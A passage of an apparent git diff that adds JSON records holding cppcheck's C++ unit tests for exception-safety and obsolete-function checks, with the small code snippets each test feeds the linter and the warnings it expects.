static int* p = foo;\\n\"\n \" delete p;\\n\"\n \" if (foo)\\n\"\n \" throw 1;\\n\"\n \" p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (warning) Exception thrown in invalid state, 'p' points at deallocated memory. [exceptDeallocThrow]\\n\", errout_str());\n }\n\n void deallocThrow2() {\n check(\"void f() {\\n\"\n \" int* p = 0;\\n\"\n \" delete p;\\n\"\n \" if (foo)\\n\"\n \" throw 1;\\n\"\n \" p = new int;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int* p = 0;\\n\"\n \" delete p;\\n\"\n \" reset(p);\\n\"\n \" throw 1;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void deallocThrow3() {\n check(\"void f() {\\n\"\n \" static int* p = 0;\\n\"\n \" delete p;\\n\"\n \" throw 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int* p = 0;\\n\"\n \" delete p;\\n\"\n \" throw 1;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) Exception thrown in invalid state, 'p' points at deallocated memory. [exceptDeallocThrow]\\n\", errout_str());\n }\n\n void rethrowCopy1() {\n check(\"void f() {\\n\"\n \" try\\n\"\n \" {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(const exception& err)\\n\"\n \" {\\n\"\n \" throw err;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style) Throwing a copy of the caught exception instead of rethrowing the original exception. [exceptRethrowCopy]\\n\", errout_str());\n }\n\n void rethrowCopy2() {\n check(\"void f() {\\n\"\n \" try\\n\"\n \" {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(exception& err)\\n\"\n \" {\\n\"\n \" throw err;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style) Throwing a copy of the caught exception instead of rethrowing the original exception. [exceptRethrowCopy]\\n\", errout_str());\n }\n\n void rethrowCopy3() {\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(std::runtime_error& err) {\\n\"\n \" throw err;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Throwing a copy of the caught exception instead of rethrowing the original exception. [exceptRethrowCopy]\\n\", errout_str());\n }\n\n void rethrowCopy4() {\n check(\"void f() {\\n\"\n \" try\\n\"\n \" {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(const exception& err)\\n\"\n \" {\\n\"\n \" exception err2;\\n\"\n \" throw err2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void rethrowCopy5() {\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(const exception& outer) {\\n\"\n \" try {\\n\"\n \" foo(outer);\\n\"\n \" }\\n\"\n \" catch(const exception& inner) {\\n\"\n \" throw inner;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:13]: (style) Throwing a copy of the caught exception instead of rethrowing the original exception. [exceptRethrowCopy]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(const exception& outer) {\\n\"\n \" try {\\n\"\n \" foo(outer);\\n\"\n \" }\\n\"\n \" catch(const exception& inner) {\\n\"\n \" throw outer;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void catchExceptionByValue() {\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch( ::std::exception err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Exception should be caught by reference. [catchExceptionByValue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch(const exception err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Exception should be caught by reference. [catchExceptionByValue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch( ::std::exception& err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch(exception* err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch(const exception& err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch(int err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch(exception* const err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void noexceptThrow() {\n check(\"void func1() noexcept(false) { try {} catch(...) {;} throw 1; }\\n\"\n \"void func2() noexcept { throw 1; }\\n\"\n \"void func3() noexcept(true) { throw 1; }\\n\"\n \"void func4() noexcept(false) { throw 1; }\\n\"\n \"void func5() noexcept(true) { func1(); }\\n\"\n \"void func6() noexcept(false) { func1(); }\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\"\n \"[test.cpp:3:31]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\"\n \"[test.cpp:5:31]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // avoid false positives\n check(\"const char *func() noexcept { return 0; }\\n\"\n \"const char *func1() noexcept { try { throw 1; } catch(...) {} return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nothrowThrow() {\n check(\"void func1() throw(int) { try {;} catch(...) { throw 1; } ; }\\n\"\n \"void func2() throw() { throw 1; }\\n\"\n \"void func3() throw(int) { throw 1; }\\n\"\n \"void func4() throw() { func1(); }\\n\"\n \"void func5() throw(int) { func1(); }\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\"\n \"[test.cpp:4:24]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // avoid false positives\n check(\"const char *func() throw() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // #11691: FP throwInNoexceptFunction with if constexpr in template\n check(\"template\\n\"\n \"static void foo(size_t Size) noexcept(IsNoThrow) {\\n\"\n \" if constexpr (!IsNoThrow) {\\n\"\n \" throw std::bad_alloc();\\n\"\n \" }\\n\"\n \"}\\n\"\n \"foo(123);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unhandledExceptionSpecification1() { // #4800\n check(\"void myThrowingFoo() throw(MyException) {\\n\"\n \" throw MyException();\\n\"\n \"}\\n\"\n \"void myNonCatchingFoo() {\\n\"\n \" myThrowingFoo();\\n\"\n \"}\\n\"\n \"void myCatchingFoo() {\\n\"\n \" try {\\n\"\n \" myThrowingFoo();\\n\"\n \" } catch(MyException &) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:1:6]: (style, inconclusive) Unhandled exception specification when calling function myThrowingFoo(). [unhandledExceptionSpecification]\\n\", errout_str());\n }\n\n void unhandledExceptionSpecification2() {\n check(\"void f() const throw (std::runtime_error);\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" f();\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unhandledExceptionSpecification3() {\n const char code[] = \"void f() const throw (std::runtime_error);\\n\"\n \"int _init() {\\n\"\n \" f();\\n\"\n \"}\\n\"\n \"int _fini() {\\n\"\n \" f();\\n\"\n \"}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" f();\\n\"\n \"}\\n\";\n\n check(code, dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:6]: (style, inconclusive) Unhandled exception specification when calling function f(). [unhandledExceptionSpecification]\\n\"\n \"[test.cpp:6:5] -> [test.cpp:1:6]: (style, inconclusive) Unhandled exception specification when calling function f(). [unhandledExceptionSpecification]\\n\", errout_str());\n\n const Settings s = settingsBuilder().library(\"gnu.cfg\").build();\n check(code, dinit(CheckOptions, $.inconclusive = true, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nothrowAttributeThrow() {\n check(\"void func1() throw(int) { throw 1; }\\n\"\n \"void func2() __attribute((nothrow)); void func2() { throw 1; }\\n\"\n \"void func3() __attribute((nothrow)); void func3() { func1(); }\");\n ASSERT_EQUALS(\"[test.cpp:2:53]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\"\n \"[test.cpp:3:53]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // avoid false positives\n check(\"const char *func() __attribute((nothrow)); void func1() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nothrowAttributeThrow2() {\n check(\"class foo {\\n\"\n \" void copyMemberValues() throw () {\\n\"\n \" copyMemberValues();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nothrowDeclspecThrow() {\n check(\"void func1() throw(int) { throw 1; }\\n\"\n \"void __declspec(nothrow) func2() { throw 1; }\\n\"\n \"void __declspec(nothrow) func3() { func1(); }\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\"\n \"[test.cpp:3:36]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // avoid false positives\n check(\"const char *func() __attribute((nothrow)); void func1() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void rethrowNoCurrentException1() {\n check(\"void func1(const bool flag) { try{ if(!flag) throw; } catch (int&) { ; } }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (error) Rethrowing current exception with 'throw;', it seems there is no current exception to rethrow.\"\n \" If there is no current exception this calls std::terminate(). More: https://isocpp.org/wiki/faq/exceptions#throw-without-an-object [rethrowNoCurrentException]\\n\", errout_str());\n }\n\n void rethrowNoCurrentException2() {\n check(\"void func1() { try{ ; } catch (...) { ; } throw; }\");\n ASSERT_EQUALS(\"[test.cpp:1:43]: (error) Rethrowing current exception with 'throw;', it seems there is no current exception to rethrow.\"\n \" If there is no current exception this calls std::terminate(). More: https://isocpp.org/wiki/faq/exceptions#throw-without-an-object [rethrowNoCurrentException]\\n\", errout_str());\n }\n\n void rethrowNoCurrentException3() {\n check(\"void on_error() { try { throw; } catch (const int &) { ; } catch (...) { ; } }\\n\" // exception dispatcher idiom\n \"void func2() { try{ ; } catch (const int&) { throw; } ; }\\n\"\n \"void func3() { throw 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void noFunctionCall() {\n check(\"void f() {\\n\" // #13803\n \" throw \\\"error\\\";\\n\"\n \"}\\n\"\n \"void g() noexcept {\\n\"\n \" auto pF = &f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestExceptionSafety)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/checkIgnoredReturnValue.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/checkIgnoredReturnValue.json new file mode 100644 index 0000000..a87617e --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/checkIgnoredReturnValue.json @@ -0,0 +1,22 @@ +{ + "name": "checkIgnoredReturnValue", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 43, + "branches": 16, + "apis": 63, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 1319 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkfunctions.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestFunctions : public TestFixture {\npublic:\n TestFunctions() : TestFixture(\"TestFunctions\") {}\n\nprivate:\n const Settings settings = settingsBuilder().severity(Severity::style).severity(Severity::warning).severity(Severity::performance).severity(Severity::portability).\n certainty(Certainty::inconclusive).c(Standards::C11).cpp(Standards::CPP11).library(\"std.cfg\").library(\"posix.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n // Prohibited functions\n TEST_CASE(prohibitedFunctions_posix);\n TEST_CASE(prohibitedFunctions_index);\n TEST_CASE(prohibitedFunctions_qt_index); // FP when using the Qt function 'index'?\n TEST_CASE(prohibitedFunctions_rindex);\n TEST_CASE(prohibitedFunctions_var); // no false positives for variables\n TEST_CASE(prohibitedFunctions_gets); // dangerous function\n TEST_CASE(prohibitedFunctions_alloca);\n TEST_CASE(prohibitedFunctions_declaredFunction); // declared function ticket #3121\n TEST_CASE(prohibitedFunctions_std_gets); // test std::gets\n TEST_CASE(prohibitedFunctions_multiple); // multiple use of obsolete functions\n TEST_CASE(prohibitedFunctions_c_declaration); // c declared function\n TEST_CASE(prohibitedFunctions_functionWithBody); // function with body\n TEST_CASE(prohibitedFunctions_crypt); // Non-reentrant function\n TEST_CASE(prohibitedFunctions_namespaceHandling);\n\n // Invalid function usage\n TEST_CASE(invalidFunctionUsage1);\n TEST_CASE(invalidFunctionUsageStrings);\n\n // Invalid function argument\n TEST_CASE(invalidFunctionArg1);\n\n // Math function usage\n TEST_CASE(mathfunctionCall_fmod);\n TEST_CASE(mathfunctionCall_sqrt);\n TEST_CASE(mathfunctionCall_log);\n TEST_CASE(mathfunctionCall_acos);\n TEST_CASE(mathfunctionCall_asin);\n TEST_CASE(mathfunctionCall_pow);\n TEST_CASE(mathfunctionCall_atan2);\n TEST_CASE(mathfunctionCall_precision);\n\n // Ignored return value\n TEST_CASE(checkIgnoredReturnValue);\n TEST_CASE(checkIgnoredErrorCode);\n\n // memset..\n TEST_CASE(memsetZeroBytes);\n TEST_CASE(memsetInvalid2ndParam);\n\n // missing \"return\"\n TEST_CASE(checkMissingReturn1);\n TEST_CASE(checkMissingReturn2); // #11798\n TEST_CASE(checkMissingReturn3);\n TEST_CASE(checkMissingReturn4);\n TEST_CASE(checkMissingReturn5);\n TEST_CASE(checkMissingReturn6); // #13180\n\n // std::move for locar variable\n TEST_CASE(returnLocalStdMove1);\n TEST_CASE(returnLocalStdMove2);\n TEST_CASE(returnLocalStdMove3);\n TEST_CASE(returnLocalStdMove4);\n\n TEST_CASE(returnLocalStdMove5);\n\n TEST_CASE(negativeMemoryAllocationSizeError); // #389\n\n TEST_CASE(checkLibraryMatchFunctions);\n\n TEST_CASE(checkUseStandardLibrary1);\n TEST_CASE(checkUseStandardLibrary2);\n TEST_CASE(checkUseStandardLibrary3);\n TEST_CASE(checkUseStandardLibrary4);\n TEST_CASE(checkUseStandardLibrary5);\n TEST_CASE(checkUseStandardLibrary6);\n TEST_CASE(checkUseStandardLibrary7);\n TEST_CASE(checkUseStandardLibrary8);\n TEST_CASE(checkUseStandardLibrary9);\n TEST_CASE(checkUseStandardLibrary10);\n TEST_CASE(checkUseStandardLibrary11);\n TEST_CASE(checkUseStandardLibrary12);\n TEST_CASE(checkUseStandardLibrary13);\n TEST_CASE(checkUseStandardLibrary14);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool cpp = true;\n const Settings* s = nullptr;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings& s = options.s ? *options.s : settings;\n\n // Tokenize..\n SimpleTokenizer tokenizer(s, *this, options.cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n void prohibitedFunctions_posix() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" bsd_signal(SIGABRT, SIG_IGN);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Obsolescent function 'bsd_signal' called. It is recommended to use 'sigaction' instead. [bsd_signalCalled]\\n\", errout_str());\n\n check(\"int f()\\n\"\n \"{\\n\"\n \" int bsd_signal(0);\\n\"\n \" return bsd_signal;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct hostent *hp;\\n\"\n \" if(!hp = gethostbyname(\\\"127.0.0.1\\\")) {\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Obsolescent function 'gethostbyname' called. It is recommended to use 'getaddrinfo' instead. [gethostbynameCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" long addr;\\n\"\n \" addr = inet_addr(\\\"127.0.0.1\\\");\\n\"\n \" if(!hp = gethostbyaddr((char *) &addr, sizeof(addr), AF_INET)) {\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (style) Obsolescent function 'gethostbyaddr' called. It is recommended to use 'getnameinfo' instead. [gethostbyaddrCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" usleep( 1000 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Obsolescent function 'usleep' called. It is recommended to use 'nanosleep' or 'setitimer' instead. [usleepCalled]\\n\", errout_str());\n }\n\n void prohibitedFunctions_index() {\n check(\"namespace n1 {\\n\"\n \" int index(){ return 1; };\\n\"\n \"}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" n1::index();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::size_t f()\\n\"\n \"{\\n\"\n \" std::size_t index(0);\\n\"\n \" index++;\\n\"\n \" return index;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f()\\n\"\n \"{\\n\"\n \" return this->index();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int index( 0 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const char f()\\n\"\n \"{\\n\"\n \" const char var[6] = \\\"index\\\";\\n\"\n \" const char i = index(var, 0);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Obsolescent function 'index' called. It is recommended to use 'strchr' instead. [indexCalled]\\n\",\n errout_str());\n }\n\n void prohibitedFunctions_qt_index() {\n check(\"void TDataModel::forceRowRefresh(int row) {\\n\"\n \" emit dataChanged(index(row, 0), index(row, columnCount() - 1));\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Obsolescent function 'index' called. It is recommended to use 'strchr' instead. [indexCalled]\\n\"\n \"[test.cpp:2:37]: (style) Obsolescent function 'index' called. It is recommended to use 'strchr' instead. [indexCalled]\\n\", // duplicate\n errout_str());\n }\n\n void prohibitedFunctions_rindex() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int rindex( 0 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" const char var[7] = \\\"rindex\\\";\\n\"\n \" print(rindex(var, 0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Obsolescent function 'rindex' called. It is recommended to use 'strrchr' instead. [rindexCalled]\\n\", errout_str());\n }\n\n\n void prohibitedFunctions_var() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" Fred() : index(0) { }\\n\"\n \" int index;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void prohibitedFunctions_gets() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = gets(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" foo(x, gets(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\", errout_str());\n }\n\n void prohibitedFunctions_alloca() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\"); // #4382 - there are no VLAs in C++\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning) Obsolete function 'alloca' called. [allocaCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:15]: (warning) Obsolete function 'alloca' called. In C99 and later it is recommended to use a variable length array instead. [allocaCalled]\\n\", errout_str());\n\n const Settings s = settingsBuilder(settings).c(Standards::C89).cpp(Standards::CPP03).build();\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\", dinit(CheckOptions, $.s = &s)); // #4382 - there are no VLAs in C++\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false, $.s = &s)); // #7558 - no alternative to alloca in C89\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // ticket #3121\n void prohibitedFunctions_declaredFunction() {\n check(\"int ftime ( int a )\\n\"\n \"{\\n\"\n \" return a;\\n\"\n \"}\\n\"\n \"int main ()\\n\"\n \"{\\n\"\n \" int b ; b = ftime ( 1 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // test std::gets\n void prohibitedFunctions_std_gets() {\n check(\"void f(char * str)\\n\"\n \"{\\n\"\n \" char *x = std::gets(str);\\n\"\n \" char *y = gets(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\"\n \"[test.cpp:4:15]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\", errout_str());\n }\n\n // multiple use\n void prohibitedFunctions_multiple() {\n check(\"void f(char * str)\\n\"\n \"{\\n\"\n \" char *x = std::gets(str);\\n\"\n \" usleep( 1000 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\"\n \"[test.cpp:4:5]: (style) Obsolescent function 'usleep' called. It is recommended to use 'nanosleep' or 'setitimer' instead. [usleepCalled]\\n\", errout_str());\n }\n\n void prohibitedFunctions_c_declaration() {\n check(\"char * gets ( char * c ) ;\\n\"\n \"int main ()\\n\"\n \"{\\n\"\n \" char s [ 10 ] ;\\n\"\n \" gets ( s ) ;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\", errout_str());\n\n check(\"int getcontext(ucontext_t *ucp);\\n\"\n \"void f (ucontext_t *ucp)\\n\"\n \"{\\n\"\n \" getcontext ( ucp ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (portability) Obsolescent function 'getcontext' called. Applications are recommended to be rewritten to use POSIX threads. [getcontextCalled]\\n\", errout_str());\n }\n\n void prohibitedFunctions_functionWithBody() {\n check(\"char * gets ( char * c ) { return c; }\\n\"\n \"int main ()\\n\"\n \"{\\n\"\n \" char s [ 10 ] ;\\n\"\n \" gets ( s ) ;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void prohibitedFunctions_crypt() {\n check(\"void f(char *pwd)\\n\"\n \"{\\n\"\n \" char *cpwd;\"\n \" crypt(pwd, cpwd);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (warning) Return value of function crypt() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:3:20]: (portability) Non reentrant function 'crypt' called. For threadsafe applications it is recommended to use the reentrant replacement function 'crypt_r'. [cryptCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *pwd = getpass(\\\"Password:\\\");\"\n \" char *cpwd;\"\n \" crypt(pwd, cpwd);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:57]: (warning) Return value of function crypt() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:3:57]: (portability) Non reentrant function 'crypt' called. For threadsafe applications it is recommended to use the reentrant replacement function 'crypt_r'. [cryptCalled]\\n\", errout_str());\n\n check(\"int f()\\n\"\n \"{\\n\"\n \" int crypt = 0;\"\n \" return crypt;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void prohibitedFunctions_namespaceHandling() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" time_t t = 0;\"\n \" auto lt = std::localtime(&t);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:37]: (portability) Non reentrant function 'localtime' called. For threadsafe applications it is recommended to use the reentrant replacement function 'localtime_r'. [localtimeCalled]\\n\", errout_str());\n\n // Passed as function argument\n check(\"void f()\\n\"\n \"{\\n\"\n \" printf(\\\"Magic guess: %d\\\", getpwent());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:31]: (portability) Non reentrant function 'getpwent' called. For threadsafe applications it is recommended to use the reentrant replacement function 'getpwent_r'. [getpwentCalled]\\n\", errout_str());\n\n // Pass return value\n check(\"void f()\\n\"\n \"{\\n\"\n \" time_t t = 0;\"\n \" struct tm *foo = localtime(&t);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:39]: (portability) Non reentrant function 'localtime' called. For threadsafe applications it is recommended to use the reentrant replacement function 'localtime_r'. [localtimeCalled]\\n\", errout_str());\n\n // Access via global namespace\n check(\"void f()\\n\"\n \"{\\n\"\n \" ::getpwent();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Return value of function ::getpwent() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:3:7]: (portability) Non reentrant function 'getpwent' called. For threadsafe applications it is recommended to use the reentrant replacement function 'getpwent_r'. [getpwentCalled]\\n\", errout_str());\n\n // Be quiet on function definitions\n check(\"int getpwent()\\n\"\n \"{\\n\"\n \" return 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Be quiet on other namespaces\n check(\"void f()\\n\"\n \"{\\n\"\n \" foobar::getpwent();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Be quiet on class member functions\n check(\"void f()\\n\"\n \"{\\n\"\n \" foobar.getpwent();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void invalidFunctionUsage1() {\n check(\"void f() { memset(a,b,sizeof(a)!=12); }\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n check(\"void f() { memset(a,b,sizeof(a)!=0); }\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", 